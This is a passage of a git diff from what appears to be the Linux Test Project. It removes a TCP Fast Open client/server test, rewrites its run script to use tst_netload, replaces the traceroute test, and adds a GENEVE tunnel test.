-		    remote_addrinfo->ai_addr,
-		    remote_addrinfo->ai_addrlen) != size) {
-			SAFE_CLOSE(cleanup, cfd);
-			return -1;
-		}
-	} else {
-		/* old TCP API */
-		if (connect(cfd, remote_addrinfo->ai_addr,
-		    remote_addrinfo->ai_addrlen)) {
-			SAFE_CLOSE(cleanup, cfd);
-			return -1;
-		}
-
-		if (send(cfd, msg, size, MSG_NOSIGNAL) != client_msg_size) {
-			SAFE_CLOSE(cleanup, cfd);
-			return -1;
-		}
-	}
-
-	return cfd;
-}
-
-void *client_fn(LTP_ATTRIBUTE_UNUSED void *arg)
-{
-	char buf[server_msg_size];
-	int cfd, i;
-	intptr_t err = 0;
-
-	/* connect & send requests */
-	cfd = client_connect_send(client_msg, client_msg_size);
-	if (cfd == -1) {
-		err = errno;
-		goto out;
-	}
-
-	if (client_recv(&cfd, buf)) {
-		err = errno;
-		goto out;
-	}
-
-	for (i = 1; i < client_max_requests; ++i) {
-
-		/* check connection, it can be closed */
-		int ret = 0;
-		if (cfd != -1)
-			ret = recv(cfd, buf, 1, MSG_DONTWAIT);
-
-		if (ret == 0) {
-			/* try to reconnect and send */
-			if (cfd != -1)
-				SAFE_CLOSE(cleanup, cfd);
-
-			cfd = client_connect_send(client_msg, client_msg_size);
-			if (cfd == -1) {
-				err = errno;
-				goto out;
-			}
-
-			if (client_recv(&cfd, buf)) {
-				err = errno;
-				break;
-			}
-
-			continue;
-
-		} else if (ret > 0) {
-			err = EMSGSIZE;
-			break;
-		}
-
-		if (verbose) {
-			tst_resm_hexd(TINFO, client_msg, client_msg_size,
-				"try to send msg[%d]", i);
-		}
-
-		if (send(cfd, client_msg, client_msg_size,
-			MSG_NOSIGNAL) != client_msg_size) {
-			err = ECOMM;
-			break;
-		}
-		if (client_recv(&cfd, buf)) {
-			err = errno;
-			break;
-		}
-	}
-
-	if (cfd != -1)
-		SAFE_CLOSE(cleanup, cfd);
-
-out:
-	return (void *) err;
-}
-
-union net_size_field {
-	char bytes[2];
-	uint16_t value;
-};
-
-static void make_client_request(void)
-{
-	client_msg[0] = start_byte;
-
-	/* set size for reply */
-	union net_size_field net_size;
-	net_size.value = htons(server_msg_size);
-	client_msg[1] = net_size.bytes[0];
-	client_msg[2] = net_size.bytes[1];
-
-	client_msg[client_msg_size - 1] = end_byte;
-}
-
-static int parse_client_request(const char *msg)
-{
-	union net_size_field net_size;
-	net_size.bytes[0] = msg[1];
-	net_size.bytes[1] = msg[2];
-	int size = ntohs(net_size.value);
-	if (size < 2 || size > max_msg_len)
-		return -1;
-
-	return size;
-}
-
-static struct timespec tv_client_start;
-static struct timespec tv_client_end;
-
-static void client_init(void)
-{
-	if (clients_num >= MAX_THREADS) {
-		tst_brkm(TBROK, cleanup,
-			"Unexpected num of clients '%d'",
-			clients_num);
-	}
-
-	thread_ids = SAFE_MALLOC(NULL, sizeof(pthread_t) * clients_num);
-
-	client_msg = SAFE_MALLOC(NULL, client_msg_size);
-	memset(client_msg, client_byte, client_msg_size);
-
-	make_client_request();
-
-	struct addrinfo hints;
-	memset(&hints, 0, sizeof(struct addrinfo));
-	hints.ai_socktype = SOCK_STREAM;
-	int err = getaddrinfo(server_addr, tcp_port, &hints, &remote_addrinfo);
-	if (err) {
-		tst_brkm(TBROK, cleanup, "getaddrinfo of '%s' failed, %s",
-			server_addr, gai_strerror(err));
-	}
-
-	tst_resm(TINFO, "TCP Fast Open over IPv%s",
-		(remote_addrinfo->ai_family == AF_INET6) ? "6" : "4");
-
-	clock_gettime(CLOCK_MONOTONIC_RAW, &tv_client_start);
-	int i;
-	for (i = 0; i < clients_num; ++i) {
-		if (pthread_create(&thread_ids[i], 0, client_fn, NULL) != 0) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				"pthread_create failed at %s:%d",
-				__FILE__, __LINE__);
-		}
-	}
-}
-
-static void client_run(void)
-{
-	void *res = NULL;
-	long clnt_time = 0;
-	int i;
-	for (i = 0; i < clients_num; ++i) {
-		pthread_join(thread_ids[i], &res);
-		if (res) {
-			tst_brkm(TBROK, cleanup, "client[%d] failed: %s",
-				i, strerror((intptr_t)res));
-		}
-	}
-
-	clock_gettime(CLOCK_MONOTONIC_RAW, &tv_client_end);
-	clnt_time = (tv_client_end.tv_sec - tv_client_start.tv_sec) * 1000 +
-		(tv_client_end.tv_nsec - tv_client_start.tv_nsec) / 1000000;
-
-	tst_resm(TINFO, "total time '%ld' ms", clnt_time);
-
-	/* ask server to terminate */
-	client_msg[0] = start_fin_byte;
-	int cfd = client_connect_send(client_msg, client_msg_size);
-	if (cfd != -1) {
-		shutdown(cfd, SHUT_WR);
-		SAFE_CLOSE(NULL, cfd);
-	}
-	/* the script tcp_fastopen_run.sh will remove it */
-	SAFE_FILE_PRINTF(cleanup, rpath, "%ld", clnt_time);
-}
-
-static void client_cleanup(void)
-{
-	free(thread_ids);
-
-	if (remote_addrinfo)
-		freeaddrinfo(remote_addrinfo);
-}
-
-static char *make_server_reply(int size)
-{
-	char *send_msg = SAFE_MALLOC(NULL, size);
-	memset(send_msg, server_byte, size - 1);
-	send_msg[0] = start_byte;
-	send_msg[size - 1] = end_byte;
-	return send_msg;
-}
-
-void *server_fn(void *cfd)
-{
-	int client_fd = (intptr_t) cfd;
-	int num_requests = 0, offset = 0;
-
-	/* Reply will be constructed from first client request */
-	char *send_msg = NULL;
-	int send_msg_size = 0;
-
-	char recv_msg[max_msg_len];
-
-	setsockopt(client_fd, SOL_SOCKET, SO_LINGER, &clo, sizeof(clo));
-	if (busy_poll >= 0) {
-		setsockopt(client_fd, SOL_SOCKET, SO_BUSY_POLL,
-			   &busy_poll, sizeof(busy_poll));
-	}
-
-	ssize_t recv_len;
-
-	while (1) {
-		recv_len = sock_recv_poll(client_fd, recv_msg,
-			max_msg_len, offset);
-
-		if (recv_len == 0)
-			break;
-
-		if (recv_len < 0 || (offset + recv_len) > max_msg_len ||
-		   (recv_msg[0] != start_byte &&
-		    recv_msg[0] != start_fin_byte)) {
-			tst_resm(TFAIL, "recv failed, sock '%d'", client_fd);
-			goto out;
-		}
-
-		offset += recv_len;
-
-		if (recv_msg[offset - 1] != end_byte) {
-			/* msg is not complete, continue recv */
-			continue;
-		}
-
-		/* client asks to terminate */
-		if (recv_msg[0] == start_fin_byte)
-			goto out;
-
-		if (verbose) {
-			tst_resm_hexd(TINFO, recv_msg, offset,
-				"msg recv from sock %d:", client_fd);
-		}
-
-		/* if we send reply for the first time, construct it here */
-		if (!send_msg) {
-			send_msg_size = parse_client_request(recv_msg);
-			if (send_msg_size < 0) {
-				tst_resm(TFAIL, "wrong msg size '%d'",
-					send_msg_size);
-				goto out;
-			}
-			send_msg = make_server_reply(send_msg_size);
-		}
-
-		/*
-		 * It will tell client that server is going
-		 * to close this connection.
-		 */
-		if (++num_requests >= server_max_requests)
-			send_msg[0] = start_fin_byte;
-
-		if (send(client_fd, send_msg, send_msg_size,
-		    MSG_NOSIGNAL) == -1) {
-			tst_resm(TFAIL | TERRNO, "send failed");
-			goto out;
-		}
-
-		offset = 0;
-
-		if (num_requests >= server_max_requests) {
-			/* max reqs, close socket */
-			shutdown(client_fd, SHUT_WR);
-			break;
-		}
-	}
-
-	free(send_msg);
-	SAFE_CLOSE(cleanup, client_fd);
-	return NULL;
-
-out:
-	free(send_msg);
-	SAFE_CLOSE(cleanup, client_fd);
-	cleanup();
-	tst_exit();
-}
-
-static void server_thread_add(intptr_t client_fd)
-{
-	pthread_t id;
-	if (pthread_create(&id, &attr, server_fn, (void *) client_fd)) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			"pthread_create failed at %s:%d", __FILE__, __LINE__);
-	}
-}
-
-static void server_init(void)
-{
-	struct addrinfo hints;
-	memset(&hints, 0, sizeof(struct addrinfo));
-	hints.ai_family = AF_INET6;
-	hints.ai_socktype = SOCK_STREAM;
-	hints.ai_flags = AI_PASSIVE;
-	if (getaddrinfo(NULL, tcp_port, &hints, &local_addrinfo) != 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "getaddrinfo failed");
-
-	/* IPv6 socket is also able to access IPv4 protocol stack */
-	sfd = SAFE_SOCKET(cleanup, AF_INET6, SOCK_STREAM, 0);
-
-	tst_resm(TINFO, "assigning a name to the server socket...");
-	if (!local_addrinfo)
-		tst_brkm(TBROK, cleanup, "failed to get the address");
-
-	SAFE_BIND(cleanup, sfd, local_addrinfo->ai_addr,
-		local_addrinfo->ai_addrlen);
-
-	freeaddrinfo(local_addrinfo);
-
-	const int flag = 1;
-	setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
-
-	if (fastopen_api == TFO_ENABLED) {
-		if (setsockopt(sfd, IPPROTO_TCP, TCP_FASTOPEN, &tfo_queue_size,
-			sizeof(tfo_queue_size)) == -1)
-			tst_brkm(TBROK, cleanup, "Can't set TFO sock. options");
-	}
-
-	SAFE_LISTEN(cleanup, sfd, max_queue_len);
-	tst_resm(TINFO, "Listen on the socket '%d', port '%s'", sfd, tcp_port);
-}
-
-static void server_cleanup(void)
-{
-	SAFE_CLOSE(NULL, sfd);
-}
-
-static void server_run(void)
-{
-	/* IPv4 source address will be mapped to IPv6 address */
-	struct sockaddr_in6 addr6;
-	socklen_t addr_size = sizeof(addr6);
-
-	pthread_attr_init(&attr);
-
-	/*
-	 * detaching threads allow to reclaim thread's resources
-	 * once a thread finishes its work.
-	 */
-	if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED) != 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "setdetachstate failed");
-
-	while (1) {
-		int client_fd = accept(sfd, (struct sockaddr *)&addr6,
-			&addr_size);
-
-		if (client_fd == -1)
-			tst_brkm(TBROK, cleanup, "Can't create client socket");
-
-		if (verbose) {
-			char addr_buf[INET6_ADDRSTRLEN];
-			tst_resm(TINFO, "conn: port '%d', addr '%s'",
-				addr6.sin6_port, inet_ntop(AF_INET6,
-				&addr6.sin6_addr, addr_buf, INET6_ADDRSTRLEN));
-		}
-
-		server_thread_add(client_fd);
-	}
-}
-
-static void check_opt(const char *name, char *arg, int *val, int lim)
-{
-	if (arg) {
-		if (sscanf(arg, "%i", val) != 1)
-			tst_brkm(TBROK, NULL, "-%s option arg is not a number",
-				 name);
-		if (*val < lim)
-			tst_brkm(TBROK, NULL, "-%s option arg is less than %d",
-				name, lim);
-	}
-}
-
-static void check_opt_l(const char *name, char *arg, long *val, long lim)
-{
-	if (arg) {
-		if (sscanf(arg, "%ld", val) != 1)
-			tst_brkm(TBROK, NULL, "-%s option arg is not a number",
-				 name);
-		if (*val < lim)
-			tst_brkm(TBROK, NULL, "-%s option arg is less than %ld",
-				name, lim);
-	}
-}
-
-static void setup(int argc, char *argv[])
-{
-	tst_parse_opts(argc, argv, options, help);
-
-	/* if client_num is not set, use num of processors */
-	clients_num = sysconf(_SC_NPROCESSORS_ONLN);
-
-	check_opt("a", aarg, &clients_num, 1);
-	check_opt("r", rarg, &client_max_requests, 1);
-	check_opt("R", Rarg, &server_max_requests, 1);
-	check_opt("n", narg, &client_msg_size, 1);
-	check_opt("N", Narg, &server_msg_size, 1);
-	check_opt("q", qarg, &tfo_queue_size, 1);
-	check_opt_l("T", Targ, &wait_timeout, 0L);
-	check_opt("b", barg, &busy_poll, 0);
-
-	if (!force_run)
-		tst_require_root();
-
-	if (!force_run && tst_kvercmp(3, 7, 0) < 0) {
-		tst_brkm(TCONF, NULL,
-			"Test must be run with kernel 3.7 or newer");
-	}
-
-	if (!force_run && busy_poll >= 0 && tst_kvercmp(3, 11, 0) < 0) {
-		tst_brkm(TCONF, NULL,
-			"Test must be run with kernel 3.11 or newer");
-	}
-
-	/* check tcp fast open knob */
-	if (!force_run && access(tfo_cfg, F_OK) == -1)
-		tst_brkm(TCONF, NULL, "Failed to find '%s'", tfo_cfg);
-
-	if (!force_run) {
-		SAFE_FILE_SCANF(NULL, tfo_cfg, "%d", &tfo_cfg_value);
-		tst_resm(TINFO, "'%s' is %d", tfo_cfg, tfo_cfg_value);
-	}
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_resm(TINFO, "TCP %s is using %s TCP API.",
-		(tcp_mode == TCP_SERVER) ? "server" : "client",
-		(fastopen_api == TFO_ENABLED) ? "Fastopen" : "old");
-
-	switch (tcp_mode) {
-	case TCP_SERVER:
-		tst_resm(TINFO, "max requests '%d'",
-			server_max_requests);
-		tcp.init	= server_init;
-		tcp.run		= server_run;
-		tcp.cleanup	= server_cleanup;
-		tfo_bit_num = 2;
-	break;
-	case TCP_CLIENT:
-		tst_resm(TINFO, "connection: addr '%s', port '%s'",
-			server_addr, tcp_port);
-		tst_resm(TINFO, "client max req: %d", client_max_requests);
-		tst_resm(TINFO, "clients num: %d", clients_num);
-		tst_resm(TINFO, "client msg size: %d", client_msg_size);
-		tst_resm(TINFO, "server msg size: %d", server_msg_size);
-
-		tcp.init	= client_init;
-		tcp.run		= client_run;
-		tcp.cleanup	= client_cleanup;
-		tfo_bit_num = 1;
-	break;
-	}
-
-	tfo_support = TFO_ENABLED == tfo_support;
-	if (((tfo_cfg_value & tfo_bit_num) == tfo_bit_num) != tfo_support) {
-		int value = (tfo_cfg_value & ~tfo_bit_num)
-			| (tfo_support << (tfo_bit_num - 1));
-		tst_resm(TINFO, "set '%s' to '%d'", tfo_cfg, value);
-		SAFE_FILE_PRINTF(cleanup, tfo_cfg, "%d", value);
-		tfo_cfg_changed = 1;
-	}
-
-	int reuse_value = 0;
-	SAFE_FILE_SCANF(cleanup, tcp_tw_reuse, "%d", &reuse_value);
-	if (!reuse_value) {
-		SAFE_FILE_PRINTF(cleanup, tcp_tw_reuse, "1");
-		tw_reuse_changed = 1;
-		tst_resm(TINFO, "set '%s' to '1'", tcp_tw_reuse);
-	}
-
-	tst_resm(TINFO, "TFO support %s",
-		(tfo_support) ? "enabled" : "disabled");
-
-	tcp.init();
-}
-
-int main(int argc, char *argv[])
-{
-	setup(argc, argv);
-
-	tcp.run();
-
-	cleanup();
-
-	tst_exit();
-}
diff --git a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
index 45bc742..d0341cd 100755
--- a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
+++ b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -31,9 +30,6 @@
 
 . test_net.sh
 
-bind_timeout=5
-tfo_result="${TMPDIR}/tfo_result"
-
 while getopts :hu:sr:p:n:R:6 opt; do
 	case "$opt" in
 	h)
@@ -60,64 +56,32 @@
 
 cleanup()
 {
-	tst_resm TINFO "cleanup..."
-	tst_rhost_run -c "pkill -9 tcp_fastopen\$"
-	rm -f $tfo_result
-}
-
-TST_CLEANUP="cleanup"
-trap "tst_brkm TBROK 'test interrupted'" INT
-
-read_result_file()
-{
-	if [ -f $tfo_result ]; then
-		if [ -r $tfo_result ]; then
-			cat $tfo_result
-		else
-			tst_brkm TBROK "Failed to read result file"
-		fi
-	else
-		tst_brkm TBROK "Failed to find result file"
-	fi
-}
-
-run_client_server()
-{
-	# kill tcp server on remote machine
-	tst_rhost_run -c "pkill -9 tcp_fastopen\$"
-
-	port=$(tst_rhost_run -c "tst_get_unused_port ipv6 stream")
-	[ $? -ne 0 ] && tst_brkm TBROK "failed to get unused port"
-
-	# run tcp server on remote machine
-	tst_rhost_run -s -b -c "tcp_fastopen -R $max_requests $1 -g $port"
-	sleep $bind_timeout
-
-	# run local tcp client
-	tcp_fastopen -a $clients_num -r $client_requests -l \
-		-H $(tst_ipaddr rhost) $1 -g $port -d $tfo_result
-	[ "$?" -ne 0 ] && tst_brkm TBROK "Last test has failed"
-
-	run_time=$(read_result_file)
-
-	[ -z "$run_time" -o "$run_time" -eq 0 ] && \
-		tst_brkm TBROK "Last test result isn't valid: $run_time"
+	tst_rmdir
 }
 
 tst_require_root
 
-tst_kvercmp 3 7 0
-[ $? -eq 0 ] && tst_brkm TCONF "test must be run with kernel 3.7 or newer"
+if tst_kvcmp -lt "3.7"; then
+	tst_brkm TCONF "test must be run with kernel 3.7 or newer"
+fi
 
-tst_kvercmp 3 16 0
-[ $? -eq 0 -a "$TST_IPV6" ] && \
+if tst_kvcmp -lt "3.16" && [ "$TST_IPV6" ]; then
 	tst_brkm TCONF "test must be run with kernel 3.16 or newer"
+fi
 
-run_client_server "-o -O"
-time_tfo_off=$run_time
+trap "tst_brkm TBROK 'test interrupted'" INT
+TST_CLEANUP="cleanup"
+tst_tmpdir
 
-run_client_server
-time_tfo_on=$run_time
+tst_resm TINFO "using old TCP API and set tcp_fastopen to '0'"
+tst_netload -H $(tst_ipaddr rhost) -a $clients_num -r $client_requests \
+	-R $max_requests -t 0
+time_tfo_off=$(cat tst_netload.res)
+
+tst_resm TINFO "using new TCP API and set tcp_fastopen to '3'"
+tst_netload -H $(tst_ipaddr rhost)  -a $clients_num -r $client_requests \
+	-R $max_requests -f -t 3
+time_tfo_on=$(cat tst_netload.res)
 
 tfo_cmp=$(( 100 - ($time_tfo_on * 100) / $time_tfo_off ))
 
diff --git a/testcases/network/traceroute/Makefile b/testcases/network/traceroute/Makefile
index eb5aefb..54ed24c 100644
--- a/testcases/network/traceroute/Makefile
+++ b/testcases/network/traceroute/Makefile
@@ -17,13 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= traceroute_tests.sh
+INSTALL_TARGETS		:= traceroute01.sh
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/traceroute/traceroute01.sh b/testcases/network/traceroute/traceroute01.sh
new file mode 100755
index 0000000..1e01a1c
--- /dev/null
+++ b/testcases/network/traceroute/traceroute01.sh
@@ -0,0 +1,70 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2001
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+TST_TOTAL=6
+TCID="traceroute01"
+TST_CLEANUP="cleanup"
+
+. test_net.sh
+
+cleanup()
+{
+	tst_rmdir
+}
+
+setup()
+{
+	tst_check_cmds traceroute
+	tst_tmpdir
+}
+
+run_trace()
+{
+	local opts="$@"
+	local ip=$(tst_ipaddr rhost)
+
+	# According to man pages, default sizes:
+	local bytes=60
+	[ "$TST_IPV6" ] && bytes=80
+
+	EXPECT_PASS traceroute $ip $bytes -n -m 2 $opts \>out.log 2>&1
+
+	grep -q "$bytes byte" out.log
+	if [ $? -ne 0 ]; then
+		cat out.log
+		tst_resm TFAIL "'$bytes byte' not found"
+	else
+		tst_resm TPASS "traceroute use $bytes bytes"
+	fi
+
+	tail -1 out.log | grep -qE "^[ ]+1[ ]+$ip([ ]+[0-9]+[.][0-9]+ ms){3}"
+	if [ $? -ne 0 ]; then
+		cat out.log
+		tst_resm TFAIL "^[ ]+1[ ]+$ip([ ]+[0-9]+[.][0-9]+ ms){3}' "
+			"pattern not found in log"
+	else
+		tst_resm TPASS "traceroute test completed with 1 hop"
+	fi
+}
+
+setup
+tst_resm TINFO "run traceroute with ICMP ECHO"
+run_trace -I
+tst_resm TINFO "run traceroute with TCP SYN"
+run_trace -T
+
+tst_exit
diff --git a/testcases/network/traceroute/traceroute_tests.sh b/testcases/network/traceroute/traceroute_tests.sh
deleted file mode 100755
index ad65d37..0000000
--- a/testcases/network/traceroute/traceroute_tests.sh
+++ /dev/null
@@ -1,187 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-#
-# File :         traceroute_tests.sh
-#
-# Description:   Test Basic functionality of traceroute command.
-#                Test #1: execute traceroute on hostname, expected number of
-#                hops is 1.
-#
-# Author:        Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:       Mar 03 2003 - Created - Manoj Iyer.
-#
-# Function:     chk_ifexists
-#
-# Description:  - Check if command required for this test exits.
-#
-# Input:        - $1 - calling test case.
-#               - $2 - command that needs to be checked.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-chk_ifexists()
-{
-    RC=0
-
-    which $2 > $LTPTMP/tst_traceroute.err 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_brkm TBROK NULL "$1: command $2 not found."
-    fi
-    return $RC
-}
-
-
-# Function: init
-#
-# Description:  - Check if command required for this test exits.
-#               - Create temporary directories required for this test.
-#               - Initialize global variables.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-init()
-{
-    # Initialize global variables.
-    export RC=0
-    export TST_TOTAL=2
-    export TCID="traceroute"
-    export TST_COUNT=0
-
-    # Inititalize cleanup function.
-    trap "cleanup" 0
-
-    # create the temporary directory used by this testcase
-    if [ -z $TMP ]
-    then
-        LTPTMP=/tmp/tst_traceroute.$$
-    else
-        LTPTMP=$TMP/tst_traceroute.$$
-    fi
-
-    mkdir -p $LTPTMP > /dev/null 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-    then
-         tst_brkm TBROK "INIT: Unable to create temporary directory"
-         return $RC
-    fi
-
-    # check if commands tst_*, traceroute, awk exists.
-    chk_ifexists INIT tst_resm   || return $RC
-    chk_ifexists INIT traceroute || return $RC
-    chk_ifexists INIT awk        || return $RC
-    chk_ifexists INIT head       || return $RC
-    chk_ifexists INIT cat        || return $RC
-    chk_ifexists INIT diff       || return $RC
-
-    # Create expected file.
-    cat > $LTPTMP/tst_traceroute.exp <<-EOF || RC=$?
-    traceroute to $(hostname) ($(hostname -i)), 30 hops max, 38 byte packets
-	EOF
-
-    if [ $RC -ne 0 ]
-    then
-        tst_brkm TBROK  NULL \
-            "INIT: unable to create expected file $LTPTMP/tst_traceroute.exp"
-        return $RC
-    fi
-    return $RC
-}
-
-
-# Function:     cleanup
-#
-# Description:  - remove temporaty files and directories.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-cleanup()
-{
-    # remove all the temporary files created by this test.
-    tst_resm TINFO "CLEAN: removing $LTPTMP"
-    rm -fr $LTPTMP
-}
-
-
-# Function:     test01
-#
-# Description:  - Test that traceroute hostname will trace route of an IP
-#                 packet to that host.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test01()
-{
-    TCID=traceroute01
-    TST_COUNT=1
-    nhops=0             # Number of hops required to get to host.
-    RC=0                # Return value from commands.
-
-    tst_resm TINFO "Test #1: Execute traceroute on hostname."
-    tst_resm TINFO "Test #1: traceroute returns the path taken by IP packet"
-    tst_resm TINFO "Test #1: to that host."
-
-    traceroute `hostname` 38 > $LTPTMP/tst_traceroute.out 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_res TFAIL $LTPTMP/tst_traceroute.out \
-            "Test #1: traceroute command failed: return = $RC. Details:"
-        return $RC
-    fi
-
-    cat $LTPTMP/tst_traceroute.out | head -n 1 > $LTPTMP/tst_traceroute.out.1 2>&1
-    diff -iwB $LTPTMP/tst_traceroute.out.1 $LTPTMP/tst_traceroute.exp \
-        > $LTPTMP/tst_traceroute.err 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_res TFAIL $LTPTMP/tst_traceroute.err \
-            "Test #1: unexpected output. Details:"
-        return $RC
-    else
-        # Only one hop is required to get to hostname.
-        nhops=$(cat $LTPTMP/tst_traceroute.out | tail -n 1 | awk '{print $1}')
-        if [ $nhops -ne 1 ]
-        then
-            tst_resm TFAIL "Test #1: $hops number of hops unexpected"
-        else
-            tst_resm TPASS \
-                "Test #1: traceroute $hostname traced route correctly"
-        fi
-    fi
-
-    return $RC
-}
-
-
-# Function:    main
-#
-# Description:    - Execute all tests and report results.
-#
-# Exit:            - zero on success
-#               - non-zero on failure.
-
-RC=0
-init || exit $?
-
-test01 || RC=$?
-
-exit $RC
diff --git a/testcases/network/virt/Makefile b/testcases/network/virt/Makefile
index 54e374f..9a97a82 100644
--- a/testcases/network/virt/Makefile
+++ b/testcases/network/virt/Makefile
@@ -19,6 +19,7 @@
 include $(top_srcdir)/include/mk/env_pre.mk
 
 INSTALL_TARGETS		:= ipvlan01.sh \
+			   geneve01.sh \
 			   gre01.sh \
 			   macvlan01.sh \
 			   macvtap01.sh \
diff --git a/testcases/network/virt/geneve01.sh b/testcases/network/virt/geneve01.sh
new file mode 100755
index 0000000..5140db8
--- /dev/null
+++ b/testcases/network/virt/geneve01.sh
@@ -0,0 +1,55 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=geneve01
+TST_TOTAL=1
+
+virt_type="geneve"
+start_id=16700000
+
+# Setting GENEVE tunnel with 'ip' command is very similar to VxLAN
+# that is why using here 'vxlan_*' library functions.
+vxlan_dst_addr="uni"
+
+. test_net.sh
+. virt_lib.sh
+
+VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-160}
+[ "$VIRT_PERF_THRESHOLD" -lt 160 ] && VIRT_PERF_THRESHOLD=160
+
+cleanup()
+{
+	cleanup_vifaces
+	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
+}
+TST_CLEANUP="cleanup"
+
+if [ -z $ip_local -o -z $ip_remote ]; then
+	tst_brkm TBROK "you must specify IP address"
+fi
+
+tst_resm TINFO "the same VNI must work"
+# VNI is 24 bits long, so max value, which is not reserved, is 0xFFFFFE
+vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFE"
+virt_compare_netperf
+
+tst_resm TINFO "different VNI shall not work together"
+vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFD"
+virt_compare_netperf "fail"
+
+tst_exit
diff --git a/testcases/network/virt/gre01.sh b/testcases/network/virt/gre01.sh
index a2c574f..cb90c68 100755
--- a/testcases/network/virt/gre01.sh
+++ b/testcases/network/virt/gre01.sh
@@ -18,7 +18,7 @@
 #
 # It requires remote host. Test will setup IPv4 and IPv6 virtual
 # tunnel between two hosts, then will compare TCP performance
-# with and without GRE using ping or tcp_fastopen test.
+# with and without GRE using ping or netstress test.
 
 TCID=gre01
 TST_TOTAL=1
@@ -33,18 +33,10 @@
 cleanup()
 {
 	cleanup_vifaces
-	tst_rhost_run -c "ip link delete ltp_v0"
-	if [ "$net_load" = "TFO" ]; then
-		tst_rhost_run -c "pkill -9 tcp_fastopen\$"
-		pkill -9 "tcp_fastopen\$"
-	fi
+	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
 }
 TST_CLEANUP="cleanup"
 
-if [ "$net_load" = "TFO" ]; then
-	tst_check_cmds "tcp_fastopen"
-fi
-
 if [ -z $ip_local -o -z $ip_remote ]; then
 	tst_brkm TBROK "you must specify IP address"
 fi
diff --git a/testcases/network/virt/virt_lib.sh b/testcases/network/virt/virt_lib.sh
index 2246d0d..6036b42 100644
--- a/testcases/network/virt/virt_lib.sh
+++ b/testcases/network/virt/virt_lib.sh
@@ -38,16 +38,15 @@
 ip6_virt_remote="fe80::381c:c0ff:fea8:7c02"
 mac_virt_remote="3A:1C:C0:A8:7C:02"
 
-clients_num=2
-client_requests=500000
-max_requests=3
-net_load="TFO"
-
 # Max performance loss (%) for virtual devices during network load
 VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-80}
 vxlan_dstport=0
 
-while getopts :hsx:i:r:c:R:p:n:l:t:d:6 opt; do
+clients_num=2
+client_requests=500000
+max_requests=20
+
+while getopts :hsx:i:r:c:R:p:n:t:d:6 opt; do
 	case "$opt" in
 	h)
 		echo "Usage:"
@@ -60,7 +59,6 @@
 		echo "R n      num of reqs, after which conn.closed in TCP perf"
